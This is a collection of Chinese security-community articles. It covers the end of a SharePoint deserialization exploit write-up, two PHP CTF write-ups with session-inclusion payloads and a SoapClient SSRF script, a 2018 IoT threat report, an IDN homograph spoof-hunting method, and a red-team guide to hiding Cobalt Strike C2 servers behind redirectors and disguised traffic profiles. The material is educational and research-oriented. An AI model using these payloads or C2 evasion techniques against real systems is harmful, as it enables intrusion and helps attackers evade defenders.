## 漏洞利用
我们在已安装了KB4464594的Microsoft SharePoint Server 2016上测试此漏洞。它在Windows Server
2016更新14393.3025的64位版本上运行。
为了演示利用过程，需要执行以下步骤：
1：管理员必须自行定义一个BDC模型，其中包括一个参数类型为Microsoft.BusinessData.Runtime.DynamicType的方法。对于自定义的BDC模型，将数据库模型示例用作模板并进行了大幅简化：
2：然后，管理员必须通过SharePoint管理中心|应用管理|管理服务应用程序|业务数据连接服务去上传BDC模型。当然，这也可以通过PowerShell完成：
3：然后，攻击者可以调用该方法，在参数中传递有效的payload。
在SharePoint服务器上，您会发现已经生成两个cmd.exe实例和一个win32calc.exe实例，它们将作为SharePoint应用程序池的标识运行。
若要查看代码的路径，可以将调试器附加到SharePoint应用程序的w3wp.exe。在system.web.dll上设置断点！
System.Web.dll!System.Web.UI.ObjectStateFormatter.Deserialize显示以下调用堆栈：
## 结论
成功利用此漏洞并不会使您成为服务器管理员，但攻击者可借助特制的SharePoint应用程序包利用该漏洞在SharePoint应用程序池和SharePoint服务器场帐户的上下文中运行任意代码。根据Microsoft的说法，他们通过更正SharePoint使其去检查应用程序包的源标记的方式，在9月补丁中解决了此漏洞。再次感谢Markus的提交，我们希望将来能收到他的更多报告。
九月发布还包括修补Azure DevOps（ADO）和Team Foundation
Server（TFS）中的漏洞的补丁，该漏洞允许攻击者在TFS或ADO服务帐户的上下文中在服务器上执行代码。我们将在不久的将来提供该bug的其他详细信息。在此之前，请跟随团队了解最新的利用漏洞技术和安全修补程序。
[1]<https://docs.microsoft.com/en-us/openspecs/sharepoint_protocols/ms-bdcmffs/0c568f71-36de-4a89-b44f-cab48609b86a> | 社区文章 |
# session_start()&bestphp
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
又是周末，又是CTF，还是pupil出的题，只能说，非常有趣了
* bestphp
* bestphp’s revenge
前者来自xctf final，后者来自2018LCTF
## bestphp1
### 文件包含
拿到题目后发现
代码非常简短，但是问题很明确，我们看到了函数
call_user_func($func,$_GET);
这里想到的第一反应是利用extract进行变量覆盖，从而达到任意文件包含
例如：
?function=extract&file=php://filter/read=convert.base64-encode/resource=index.php
发现可以成功读取，尝试读function.php
<?php
function filters($data){
foreach($data as $key=>$value){
if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
die('Do not hack me!');
}
}
}
?>
尝试读admin.php
hello admin
<?php
if(empty($_SESSION['name'])){
session_start();
#echo 'hello ' + $_SESSION['name'];
}else{
die('you must login with admin');
}
?>
发现都不行，最后落点还得是在getshell，那么思考一下攻击方式，很容易就想到了最近热门的session+lfi的攻击方式
但是这里有一个问题：
ini_set('open_basedir', '/var/www/html:/tmp');
我们无法直接去包含默认路径
/var/lib/php/sessions/sess_phpsessid
那么怎么办？
### session_start
在走投无路的时候选择查看php手册
发现session_start()中有这样一段
那我们跟进会话配置指示
发现了save_path,跟进
发现该方式可以更改session存储路径，那我们尝试一下
?function=session_start&save_path=/tmp
然后去包含
?function=extract&file=/tmp/sess_kpk22r3qq2v69d2uj1iigcp5c2?func
发现路径更改成功，包含了session
### RCE
那么现在唯一的问题就是如何控制session的内容了，这里我有想到最近很流行的session.upload_progress，但是这样太麻烦了。
我们不难发现这里有一个$_SESSION[‘name’]，并且其可以被我们post的name复制，那这就可以达到控制session内容的目的。
我们尝试
curl -v -X POST -d "name=<?=phpinfo();?>" http://vps_ip:port/?function=session_start&save_path=/tmp
再去包含对应的session
?function=extract&file=/tmp/sess_jisv70lep6v1nfokagdll4scs7
得到
尝试读取目录
curl -v -X POST -d "name=<?=var_dump(scandir('./'));?>" http://vps_ip:port/?function=session_start&save_path=/tmp
包含文件
?function=extract&file=/tmp/sess_3b624no3ucdj27un5idq57jta0
可以成功列目录
由于是本地环境，没有存放flag，所以到此一步，题目就完结了。后面找到flag直接cat即可
## bestphp’s revenge
拿到题目
index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>
flag.php
代码非常简短，也很有意思，但是思路肯定很明确：SSRF
既然是SSRF，那么该如何满足以下条件呢？
* 访问127.0.0.1/flag.php
* cookie可控，改成我们的php_session_id
那么势必得到一个php内置类，同时其具备SSRF的能力
### SoapClient
这里不难想到之前N1CTF出过的hard_php一题，里面就使用了php内置类SoapClient进行SSRF
但是问题来了，我怎么触发反序列化？
看到
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
我们不难想到，可以将序列化内容通过$_GET[name]传入session，但是我们本地测试：
发现session里的内容是会被进行一次序列化写入的，并且还有
name |
这样的东西存在。别说触发反序列化了，我们连基本的语句都构造不出来。
后来搜到这样一篇文章
https://blog.spoock.com/2016/10/16/php-serialize-problem/
首先我们可以控制session.serialize_handler,通过
/?f=session_start
serialize_handler=php
这样的方式，可以指定php序列化引擎,而不同引擎存储的方式也不同
* php_binary:存储方式是，键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
* php:存储方式是，键名+竖线+经过serialize()函数序列处理的值
* php_serialize(php>5.5.4):存储方式是，经过serialize()函数序列化处理的值
同时根据文章内的内容，当session反序列化和序列化时候使用不同引擎的时候，即可触发漏洞
假如我们使用`php_serialize`引擎时进行数据存储时的序列化，可以得到内容
$_SESSION[‘name’] = ‘sky’;
a:1:{s:4:”name”;s:3:”sky”;}
而在php引擎时进行数据存储时的序列化，可以得到另一个内容
$_SESSION[‘name’] = ‘sky’;
name|s:3:”sky”
那么如果我们用php引擎去解php_serialize得到的序列化，是不是就会有问题了呢？
答案是肯定的，该文章中也介绍的很清楚
php引擎会以|作为作为key和value的分隔符，我们再传入内容的时候，比如传入
$_SESSION[‘name’] = ‘|sky‘
那么使用php_serialize引擎时可以得到序列化内容
a:1:{s:4:”name”;s:4:”|sky”;}
然后用php引擎反序列化时，|被当做分隔符，于是
a:1:{s:4:”name”;s:4:”
被当作key
sky
被当做vaule进行反序列化
于是，我们只要传入
$_SESSION[‘name’] = |序列化内容
即可 对了，如果你要问，为什么能反序列化？
因为如下图
### 如何触发__call
光进行反序列化肯定是不够的
我们看到soapclient想要触发__call()必须要调用不可访问的方法，那我们如何在题目有限的代码里调用不可访问方法呢？
看到这段代码
php $a = array(reset($_SESSION),'welcome_to_the_lctf2018'); call_user_func($b,$a);
这里想到如下操作
我们只要覆盖$b为call_user_func即可成功触发不可访问方法
### payload
那么完成payload即可
soap构造脚本
<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
'user_agent' => "AAA:BBBrn" .
"Cookie:PHPSESSID=dde63k4h9t7c9dfl79np27e912",
'uri' => "http://127.0.0.1/"));
$se = serialize($b);
echo urlencode($se);
先发送第一段payload
在发送第二段payload
flag手到擒来！
## 后记
pupil出的这两道session_start的题，可以说非常有趣了。涨了一波姿势，弥补了一波N1CTF hardphp的遗憾。膜~ | 社区文章 |
# 2018 年 IoT 那些事儿
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文作者：murphyzhang、xmy、fen @腾讯安全云鼎实验室
2018年，是 IoT 高速发展的一年，从空调到电灯，从打印机到智能电视，从路由器到监控摄像头统统都开始上网。随着 5G 网络的发展，我们身边的 IoT
设备会越来越多。与此同时，IoT 的安全问题也慢慢显露出来。
腾讯安全云鼎实验室对 IoT 安全进行了长期关注，本文通过云鼎实验室听风威胁感知平台[注1]收集的 IoT 安全情报进行分析，从 IoT 的发展现状、IoT
攻击的常见设备、IoT 攻击的主要地区和 IoT 恶意软件的传播方式等方面进行介绍。
## 一、IoT 的发展现状
图片来自网络
近几年 IoT 设备数量飞速增长， 2018年一共有70亿台 IoT 设备，每年保持20%左右的速度增长，到2020年预计 IoT 设备可达99亿台。
图▽ 全球 IoT 设备增长趋势
数据来源：State of the IoT 2018: Number of IoT devices now at 7B – Market
accelerating
随着 IoT 设备的普及，IoT 安全问题越来越多。根据卡巴斯基 IoT 安全报告 New trends in the world of IoT
threats，近年来捕获到的 IoT 恶意样本数量呈现爆炸式的增长，从侧面反映了 IoT 安全问题越来越严峻。
图▽ IoT 恶意样本数量
数据来源：卡巴斯基 New trends in the world of IoT threats
## 二、IoT 攻击常见设备与“黑客武器库”
现实生活中哪些 IoT 设备最容易被攻击呢？这是我们在做研究时第一时间考虑的问题。
被攻击后的设备，通常会进入黑客的武器库。黑客通常通过设备弱口令或者远程命令执行漏洞对 IoT
设备进行攻击，攻击者通过蠕虫感染或者自主的批量攻击来控制批量目标设备，构建僵尸网络，IoT 设备成为了黑客最新热爱的武器。
图▽ IoT 最常被攻击的设备类型
数据来源：腾讯安全云鼎实验室
云鼎实验室听风威胁感知平台统计数据显示，路由器、摄像头和智能电视是被攻击频率最高的三款 IoT
设备，占比分别为45.47%、20.71%和7.61%，实际中，摄像头的比例会更高，本次统计数据未包含全部摄像头弱口令攻击数据。
智能电视存在的安全隐患是 ADB 远程通过5555端口的调试问题，电视存在被
root、被植入木马的风险，本次不做过多介绍。下文中会重点讨论路由器和摄像头的安全问题。
### （1）最受黑客欢迎的设备：路由器
据统计，路由器（多数为家庭路由器）在 IoT 设备中的攻击量占比将近一半。大量恶意攻击者利用主流的品牌路由器漏洞传播恶意软件，构建僵尸网络。
以下为最常被攻击的路由器品牌占比统计：
图▽ 最常被攻击路由器统计
数据来源：腾讯安全云鼎实验室
从统计数据中可以看到，被攻击的路由器多为家庭路由器，通常市场保有量特别巨大，一旦爆出漏洞，影响范围较广。
例如：某公司 HG532
系列路由器在2017年11月爆出了一个远程命令执行漏洞，而该系列路由器数量巨大，针对该系列路由器的攻击和蠕虫利用非常多,攻击占比高达40.99%。其次是
__Link 系列路由器，_ _Link 系列路由器爆出过多个远程命令执行漏洞，因此也广受恶意攻击者欢迎。
以下为恶意攻击者利用较多的漏洞列表：
### （2）经久不衰的攻击：视频摄像头
2016年10月份，黑客通过操纵 Mirai 感染大量摄像头和其他设备，形成了庞大的僵尸网络，对域名提供商 DYN 进行 DDoS
攻击，导致了大面积网络中断，其中 Amazon、 Spotify、 Twitter 等知名网络均受到影响。Mirai 僵尸网络也成为了 IoT
安全的标志性事件。
针对摄像头的攻击主要是两种方式，一是弱口令，二是漏洞利用。
A、摄像头弱口令
密码破解是摄像头最常用的攻击方式，一般利用厂家的默认密码。
以下为部分厂家摄像头的最常使用的十大默认用户名/密码：
B、摄像头漏洞
EXPLOIT DATABASE 收录了120多个摄像头漏洞，如下为搜索到的部分品牌摄像头漏洞：
## 三、IoT 攻击源统计
### （1）欧美 — IoT 恶意代码控制服务器的家乡
云鼎实验室针对恶意代码控制服务器进行了统计，筛选出了 IoT 恶意代码控制服务器所在国 Top 10，位于国外的IoT
恶意代码控制服务器占比达到94.72%，中国仅占5.28%， IoT 恶意代码控制服务器大量分布在美国和欧洲。
图▽ IoT 恶意代码控制服务器国家分布 Top10
数据来源：腾讯安全云鼎实验室
### （2）中国成IoT攻击活动最频发的国家
图▽ IoT 攻击源国家分布 Top10
数据来源：腾讯安全云鼎实验室
备注：数据来源于听风蜜罐系统，存在数据的缺失和遗漏的情况，本文只是大致统计趋势和比例，一些国家的数据可能会缺失。
中国是全球IoT攻击最多的国家，同时也是IoT攻击最大的受害国。由于中国拥有较多的
IoT设备，很多设备存在漏洞和弱口令，因此设备被恶意软件感染的数量也较为巨大，设备相互攻击感染的问题较为严重。
#### 国内 IoT 安全问题：
对于国内的 IoT 安全问题，我们统计了国内 Top10 攻击源省份：
图▽ IoT 攻击源中国省份 Top10
数据来源：腾讯安全云鼎实验室
IoT 攻击源最多的五个省份是 江苏、广东、台湾、北京和浙江，IoT 的攻击源分布与 GDP 有一定的关联性。经济发达的地区 IoT
设备更多、相关黑产也更加发达，也就成为了重点的 IoT 攻击源。
长三角和珠三角是我国经济最发荣的地区，同时也是 IoT 攻击最泛滥的地区。下面是云鼎实验室对江苏省和广东省的 IoT 攻击源分布的统计情况。
#### 江苏省 IoT 攻击情况如下：
图▽ IoT 攻击源江苏省各地区分布
数据来源：腾讯安全云鼎实验室
其中苏州、扬州等长三角城市 IoT
攻击较多，这与经济发展情况有一定的关联。长三角各城市经济发达，街边各个商店的摄像头（个人安装）、路由器普及率非常高。设备多、设备漏洞多、缺乏有效的管理，导致设备被利用，从而成为较大的一个攻击源。
#### 广东省 IoT 攻击情况如下：
图▽ IoT 攻击源广东省各地区分布
数据来源：腾讯安全云鼎实验室
广东省的情况是类似的，IoT 攻击活跃在经济发达地区，珠江三角洲最为活跃的两个城市分别是深圳和广州。 深圳作为科技创新城市，大批量 IoT
设备在深圳生产，同时 IoT 设备被大批量普及，IoT 漏洞普遍存在，深圳也不乏相关的黑产团伙，从而 IoT 设备的安全问题也是很严重的。
## 四、IoT 恶意软件传播统计
### （1）DDoS 依然是 IoT 恶意软件的主流功能
因 IoT 设备近几年的几何级数的增长，已接近百亿量级，但众多不同设备，往往却可以被同一恶意代码家族感染，这些家族主要的功能以 DDoS 居多。
下图是 IoT 设备在 DDoS 上如此受黑客青睐的四个主要原因。
☞ 几何级数暴增
IoT 设备的暴增为 DDoS 的成长提供了温床。为了利于远程管理，IoT 设备普遍暴露在互联网中，为承载 DDoS
功能的恶意样本进行扫描和传播提供了便利。同时各 IoT 厂家良莠不齐的技术基础，导致各 IoT 设备自身的系统与应用暴露出各种漏洞以被攻击者恶意利用。
☞ 跨多平台传播
承载 DDoS 攻击的家族，往往用一套标准代码，以各种 IoT 设备的弱口令、系统/应用漏洞的嵌入为基础，然后在 mips、arm、x86
等各种不同的平台环境编译器下进行编译，最终达到一个家族跨多个平台、互相感染传播的目的，使传播更迅速。
☞ TB级流量攻击
IoT 设备数据庞大、安全性差、多数暴露外网，在跨多平台家族样本面前便不堪一击。往往选好传播弱口令与漏洞，从 IoT
僵尸网络搭建到数量达到一定规模，往往几天的时间便可完成。因为肉鸡被抓取后便成为了一个新的扫描源，如此反复便是一个成倍递增的扫描能力。而事实证明，十万量级的僵尸网络便可以打出
TB 级的攻击流量。
☞ 慢速 CC 攻击
因 CC 攻击是建立在 TCP 三次握手之上，所以以发包机形式进行攻击能力较弱，这也是肉鸡在 DDoS 上的一个不可替代的功能。IoT
肉鸡正是此攻击较好的攻击载体，如此大量的肉鸡群，再辅以慢速CC攻击方式，DDoS 防御设备较难以数量统计阈值等方法进行检测。
### （2）超过8成恶意软件具备自我传播功能
通过分析，发现近8成恶意软件具有自我传播的功能模块，说明攻击者更倾向于通过蠕虫的方式构建僵尸网络。
对于攻击者来说，传播 IoT 恶意软件有两种方式：
A、利用服务器进行集中式扫描攻击，并向 IoT 设备植入恶意软件
由于服务器的硬件配置较高，能够同时发起大量扫描攻击，且攻击者可以随时添加新的扫描攻击模块。对于攻击者来说，这种方式更加灵活可控。
B、通过蠕虫传播攻击
每个被恶意软件感染的设备都会主动扫描其他设备并进行攻击。可以快速让僵尸网络指数级的增长。
### （3）弱口令传播方式依旧盛行，Telnet/SSH 是主要传播途径
弱口令攻击是 IoT 恶意软件的传播方式之一，最流行的传播途径是 Telnet，其次是 SSH。
下面列举一些恶意样本中出现的特定设备帐号和弱密码：
2016年 Mirai 事件爆发后，IoT 设备的弱口令问题得到广泛关注，一些设备使用者修改了默认密码，提高了设备安全性。
### （4）IoT 漏洞传播成为恶意软件主流的传播方式
IoT 厂商的防御意识逐渐增强，弱口令传播方式效果逐渐减弱，攻击者开始使用漏洞进行恶意软件的植入。
由于 IoT 设备固件更新慢、IoT 厂商对漏洞不重视、IoT 设备用户对漏洞不重视这三个原因导致市面上存在大量的有漏洞 IoT 设备。
这些设备会长期在线，即使用户设备被感染，用户也没有什么感知。 这也是 IoT 僵尸网络与 传统 PC 僵尸网络的区别—-更大数量、更易获得、更加稳定。
这里以 IoT 恶意软件 Linux.Omni 为例，该恶意软件使用了11种不同的漏洞，包括常用的路由器与摄像头漏洞，红色字体为最多利用的漏洞。
## 五、总结
未来随着 IoT 和 5G 通讯的发展，IoT 设备的数量将会呈现爆发式增长，针对 IoT 设备的安全事件也将呈现同样的趋势。
### （1）未来IoT安全趋势
1. 针对 IoT 设备的攻击量将远远超过其他攻击目标，IoT设备成为网络攻击的最大受害者。
2. 通过 IoT 设备发起的攻击将打破传统安全的防御形式，迫使安全厂商思考新的防御思路。（例如：Mirai 发起的的 DDoS 攻击）
3. 被攻击 IoT 的设备将呈现多样化，不再局限于路由器、摄像头、打印机等设备，更多的 IoT 设备如智能空调、自动售货机、可穿戴设备将会成为被攻击目标。
4. IoT 设备将成为恶意挖矿软件和勒索软件的下一个目标，医院、ATM、工控、电力等将成为主要的重灾区。
5. IoT 的攻击将越来越专业化，将出现越来越多的政治目的的攻击。
这些趋势将使 IoT 安全形式更加严峻，不仅仅关系到企业安全，也关系到每一个家庭，每一个人，IoT 安全将成为国家网络空间安全战略极其重要的一部分。
### （2）防护建议
#### A、对于个人用户
下面是一些减小 IoT 设备感染风险的建议：
初始设置时更改设备默认密码，修改为复杂密码。
定期检查是否有固件的新版本发布并更新固件版本。
如无绝对必要，不要将 IoT 设备端口向互联网开放。
#### B、对于 IoT 厂商
下面对于 IoT 的安全性进行一些建议：
安全启动： 每次启动时，有必要通过证书来验证全部有效执启动程序。
及时跟新补丁和固件：在漏洞出现时，及时跟新补丁，以免造成重大影响。
数据中心安全：设备和云端的数据交互，要保证云端数据和服务的安全。建议使用腾讯云作为云端支撑。
数据安全：无论是通讯中，还是在设备内部存储上看，数据安全性是通过加密来保障的。
加密密钥管理：使用动态密码，不使用固化的静态密码。，默认密码导致的弱密码都是可入侵的漏洞。
注1：听风威胁感知平台是云鼎实验室在全球多个节点部署的蜜罐网络集群，用于捕获真实的恶意流量，每天捕获数亿次的各类攻击请求。
### 参考链接：
<http://blog.nsfocus.net/IoT-security-webcam/>
<http://www.123anfang.com/ip-camera-default-account-password-list.html>
<https://www.secpulse.com/archives/5852.html>
<https://securelist.com/new-trends-in-the-world-of-iot-threats/87991/>
[http://blog.nsfocus.net/wp-content/uploads/2017/06/Mirai代码及原理分析.pdf](http://blog.nsfocus.net/wp-content/uploads/2017/06/Mirai%E4%BB%A3%E7%A0%81%E5%8F%8A%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90.pdf)
<https://blog.apnic.net/2017/03/21/questions-answered-mirai-botnet/>
<https://mobidev.biz/blog/IoT-trends-for-business-2018-and-beyond>
<https://iot-analytics.com/state-of-the-iot-update-q1-q2-2018-number-of-iot-devices-now-7b/>
腾讯安全云鼎实验室
关注云主机与云内流量的安全研究和安全运营。利用机器学习与大数据技术实时监控并分析各类风险信息，帮助客户抵御高级可持续攻击；联合腾讯所有安全实验室进行安全漏洞的研究，确保云计算平台整体的安全性。相关能力通过腾讯云开放出来，为用户提供黑客入侵检测和漏洞风险预警等服务，帮助企业解决服务器安全问题。 | 社区文章 |
# 0x00 背景
## 国际化域名
国际化域名（Internationalized Domain
Name，IDN）又称特殊字符域名，是指部分或完全使用特殊的文字或字母组成的互联网域名，包括中文、法语、阿拉伯语、希伯来语或拉丁字母等非英文字母，这些文字经多字节万国码编码而成。在域名系统中，国际化域名使用Punycode转写并以ASCII字符串储存。
## 同形异义攻击
同形异义字是利用IDN中一些非拉丁字符语种的字母与拉丁字符非常相似，字面看很难区分的特性，找到对应的字符来实现钓鱼攻击。例如16ვ.com(U+10D5)、16ဒ.com
(U+1012)、16ҙ.com (U+0499)
都在一定程度上和163.com有相似性，基于一些开放的https证书服务这些域名还能取得相应的证书，进一步增加钓鱼成功的可能性。
## Punycode
Punycode是RFC 3492标准设计的编码系统，用于把Unicode转换为可用的DNS系统的编码，比如16ҙ.com就会被转成xn--16-8tc.com，这在一定程度上可以防止IDN欺骗。
# 0x01 漏洞介绍
在主流浏览器中，Chromium Project对这类漏洞关注度较多，甚至特别在安全类型中设置了对应的[idn-spoof](https://bugs.chromium.org/p/chromium/issues/list?can=1&q=label:idn-spoof)标签。
在chromium中维护了一个domain
[list](https://github.com/chromium/chromium/blob/998ff8fbb32cb0fdf1b6bdd9e885d2b1d7c48bbe/components/url_formatter/top_domains/alexa_domains.list)，内置了一些较有知名度的域名，当有域名被认为和这些相似域名相似时，就会转成punycode显示。
其完整的检测算法可以在[这里](https://github.com/chromium/chromium/blob/69d65bc31ec06259c4aec054fa2439ab8b2b922a/components/url_formatter/idn_spoof_checker.cc)看到，对其详细的解释可以参考这篇[文章](https://tw.saowen.com/a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e)。
总的来说，只要找到了一个字符的组合，可以通过Spoof Check，且在浏览器地址栏中显示的字形和top domain相似，就可以认为找到了一个IDN
Spoof漏洞。
# 0x02 挖掘方法
Unicode的字符较多，因此笔者考虑一定程度上将漏洞挖掘的过程自动化。最直接的思路是，将域名是否同形的问题转换为图像相似度的问题。
我们可以遍历所有的Unicode字符，使用浏览器地址栏渲染的字体生成其对应的图像，当其图像和域名中允许出现的ascii字符相似度较高时，则认为是可能造成Spoof的字符。
在这里笔者使用了[感知哈希算法](https://en.wikipedia.org/wiki/Perceptual_hashing)作为图像相似度的计算的方式，其大致步骤如下：
* 将图像缩小至相同尺寸：用于去除图像的细节，保留结构等基本信息
* 简化色彩：将缩小后的图像转为64级灰度，减少颜色带来的影响
* 计算平均值：计算所有像素的灰度平均值
* 比较像素的灰度：将每个像素的灰度，与平均值进行比较，记录结果
* 计算Hash值：将上一步的结果组合在一起构成一个整数作为图片的指纹
在获取到Unicode字符图片对应的Hash值后，使用计算汉明距离的方式计算两个图片的距离，就可以得到较为相似的字符列表了。
当找到符合条件的字符后，则找到包含该字符的域名，替换该字符进行测试，检测其是否能通过Spoof
Check。这里直接使用Chrome测试不太方便，这里笔者抽取了其中部分代码形成独立的脚本进行测试。
另外对一些特别的字符，如 `/` / `?` / `.` / `#` 等，则构造包含对应字符的URL进行测试。
通过图像相似度和Spoof Check的测试后，最后进行人工的确认，如确实是可能造成Spoof的字符，则认为是漏洞并报告。
# 0x03 挖掘结果
经测试，笔者成功找到了 `crbug.com/904325` 、 `crbug.com/904627` 等尚未修复的IDN Spoof漏洞。
# 0x04 参考资料
* <https://en.wikipedia.org/wiki/Internationalized_domain_name>
* <https://www.unicode.org/faq/idn.html>
* <https://xlab.tencent.com/en/2018/11/13/cve-2018-4277/>
* Gontmakher A . The Homograph Attack[J]. Communications of the Acm, 2002, 45(2):128.
* <https://en.wikipedia.org/wiki/IDN_homograph_attack>
* <https://tw.saowen.com/a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e>
* <https://en.wikipedia.org/wiki/Perceptual_hashing> | 社区文章 |
C2 使目标机器可以接收来自服务器的命令，但实战中通常在恶意软件分析的时候是首先被分析出来的，所以这也就是需要对C2 server加固的原因。
下面将C2 server部署时候你需要认识的一些点总结来更好建设、隐蔽、使用你的C2 server。
**个人水平较差、内容浅显，文中错误内容还请师傅们指教纠正.**
## 0x01 C2 Server基础建设
### 修改默认配置
CS默认端口的50050端口是需要修改的,位于teamserver脚本文件划到最后一行:
如果没有配置C2_profile那也别用默认的CS证书，
qing@ubuntu:~/cs_server$ keytool -list -v -keystore cobaltstrike.store
Enter keystore password:
Keystore type: jks
Keystore provider: SUN
Your keystore contains 1 entry
Alias name: cobaltstrike
Creation date: Jun 14, 2019
Entry type: PrivateKeyEntry
Certificate chain length: 1
Certificate[1]:
Owner: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth
Issuer: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth
Serial number: 3312d415
Valid from: Fri Jun 14 04:17:43 PDT 2019 until: Thu Sep 12 04:17:43 PDT 2019
Certificate fingerprints:
MD5: AB:D2:A4:18:5E:A7:6A:32:CC:1E:74:8C:67:D9:AB:3C
SHA1: 25:32:9C:8F:A7:14:3A:F4:43:65:AD:DD:63:2E:AA:25:82:31:E1:3B
SHA256: 64:25:7F:C0:FA:C3:1C:01:A5:CC:D8:16:C7:3E:A8:6E:63:92:60:DA:16:04:D0:4D:B8:69:BB:60:3C:28:86:E6
Signature algorithm name: SHA256withRSA
Subject Public Key Algorithm: 2048-bit RSA key
Version: 3
keytools重新生成一下就好。
### C2 Server Segregation
在修改了基本配置中的默认值后，搭建C2时候还需要注意到的一个地方就是C2之间的 **隔离** 。
根据不同功能隔离不同C2通信，互相不交叉，比如C2通信中你钓鱼邮件使用到的的C2、短期在目标上执行载荷的C2(主要操作)、长期用来维权的C2,可以根据C2
server的地址不同、端口不同、配置方式不同、流量特征不同、操作频率不同，以至于使用到的RAT的不同来保证隔离的效果(个人理解)。
(图片来源:<https://rsmudge.files.wordpress.com/2013/02/distops2.png>)
官网的blog也建议把C2 分割为long-haul, staging, and post-exploitation
这里就写下个人理解哈，
### long-haul
对于long-haul也就是拿来维权的C2，需要注意的就是操作频率低，回连次数少，在Cs中你的sleep和波动时间一定控制为高回调时间，毕竟是为了长期持久的维权。这里都说到了是持久，那么在后门种植的方式上也尽量隐蔽、持久，最少也要做到不在第一时间被目标发现然后把你清出去，推荐WMI和服务拉dll的方式进行权限维持。而且在使用的时候C2
Profile文件一定唯一，也就是流量特征不要和其他的C2交叉，协议与其他C2尽量也区别开来，避免出现目标封杀一个C2的域名或者协议导致你所有使用相同协议、域名上线的C2一并被清出去，这就很划不来了。
### Staging Servers
对于这个C2只是在我们建立第一个Beacon的时候使用到，用来建立C2和Beacon之间的Stage过程，那么这个睡眠时间也可以稍微较长，较long-haul没那么苛刻，因为long-haul为最后的权限，只要最后的权限不死，Stage的C2我们总是可以利用long-haul来不断替换，还是注意不要和其他C2交叉。
### Post-exploitation Servers
这个就是我们对于目标执行载荷的C2,区别开其他C2基础之上可以把回连时间设置很短，上线甚至在内存执行，并不很需要考虑到隐蔽或者持久(相对于long-haul)，因为你利用这个C2的通信beacon来执行payload、开代理、横向扩权那肯定维权隐蔽性会相应损失一部分。
那么上面说到对于不同C2,我们使用需要的功能不同，例如Long-haul我就是拿来隐蔽维权的，那么在选择不同C2的beacon中上线协议、上线载荷执行方式等多多少少会对持久隐蔽性起到影响，那对于不同C2使用的协议和上线方式就仁者见仁智者见智了。
例如不同协议之间的优缺点特点比较:
以及在C2上对于不同协议开设"正常"的出站目标端口:
### Redirectors for C2
而我们在配置了不同C2 server的基础之上，还应该对于攻击行为中域名做相应的处理来达到更好的混淆效果，比如常见的在域名上做重定向的处理：
(图片来源:<https://bluescreenofjeff.com/assets/attack-infrastructure-design/red-team-attack-infrastructure-diagram.png>)
扮演重定向的角色也很简单，CS官网14年就有域前置，用云来做重定向(例子:<https://digi.ninja/blog/cloudflare_example.php>
利用Cloudflare进行Domain fronting)
单说实现重定义这个功能是非常简单的，甚至用iptables 和 socat 类似的转发功能都可以实现，比如socat实现转发`socat
TCP4-LISTEN:80,fork TCP4:54.197.3.16:80`,中间件作为代理转发的例子也很常见比如 Apache的mod_rewrite
以及nginx代理来作为你的重定向。当然你也可以使用Amazon EC2这样的云来重定向你的Beacon
不过在生成的时候已经可以指定重定向的地址了,可以添加多个呼叫的地址，逗号分开填入即可:
### Mod_Rewrite
关于apache的Mod_Rewrite单独捡出来提一下，因为作为重定向时隐藏红队攻击行为有着多个优点，Mod_Rewrite代理连接首先可以我们C2
server的实际位置，而且Mod_Rewrite也可以根据特定的团队ip来设置访问的白名单，阻止其他非团队的ip访问。设置Mod_Rewrite的文章网上很多，推荐:<https://www.digitalocean.com/community/tutorials/how-to-set-up-mod_rewrite#Section> ,但每次在构造红队C2的时候手动设置Mod_Rewrite很麻烦。
推荐@n0pe-sled的部署脚本，只需要在初始化的时候配置/etc/apache2/apache2.conf文件允许使用.htaccess文件（将`AllowOverride
None`更改为`AllowOverride All`）以及启用相应的模块即可(a2enmod rewrite proxy
proxy_http),剩下的交给脚本配置即可，配置的时候也可以手动指定下server中的root目录:
以及重定向的参数配置:
`python apache_redirector_setup.py --malleable="<Path to C2 Profile>"
--block_url="https://google.com" --block_mode="redirect" --allow_url="team
server Address" --allow_mode="proxy"`
以及对于特定ip阻拦:
`python apache_redirector_setup.py --ip_blacklist="1.1.1.1;1.1.1.2"
--block_url="https://google.com" --block_mode="redirect" --allow_url="<Team
server Address>" --allow_mode="proxy`
设置黑白名单:
`python apache_redirector_setup.py --mobile_url="https://mobile-payload.com"
--mobile_mode="proxy" --valid_uris="payload;uploads" --ir
--ip_blacklist="1.1.1" --block_url="https://GetBlockedNerd.com"
--block_mode="redirect" --allow_url="https://Teamserver.com"
--allow_mode="proxy"`
## 0x02 C2 Server自定义流量
拿Cobalt Strike举例,通信流量中默认的特征肯定是很脏的,为了不被识别可以通过Malleable
C2配置来修改Beacon和Stager的通信流量中的特征,启动时候加载配置文件(只能指定单个)。
./teamserver [IP] [password] [/path/to/my.profile]
Malleable c2
profile主要用来定制流量规则，及Beacon的一些特征。根据目标机器存在的网络环境，主机存在的通信软件。可以仿造其中的通信软件的特征，进行流量的加密混淆。
C2-Profile编写规则也很简单
举个例子来看下基本的语法:
<https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/APT/putter.profile>
set sample_name "Putter Panda";
set sleeptime "500";
http-get {
# Beacon will randomly choose from this pool of URIs
set uri "/MicrosoftUpdate/ShellEx/KB242742/default.aspx";
client {
header "User-Agent" "Mozilla/4.0 (Compatible; MSIE 6.0;Windows NT 5.1)";
# deliberate attempt to reproduce bug in HTTPCLIENT
header "Accept" "*/*, ..., ......, .";
# encode session metadata into tmp var
metadata {
netbiosu;
parameter "tmp";
}
}
# no special server side indicators as the report didn't say anything one way
# or the other about these.
server {
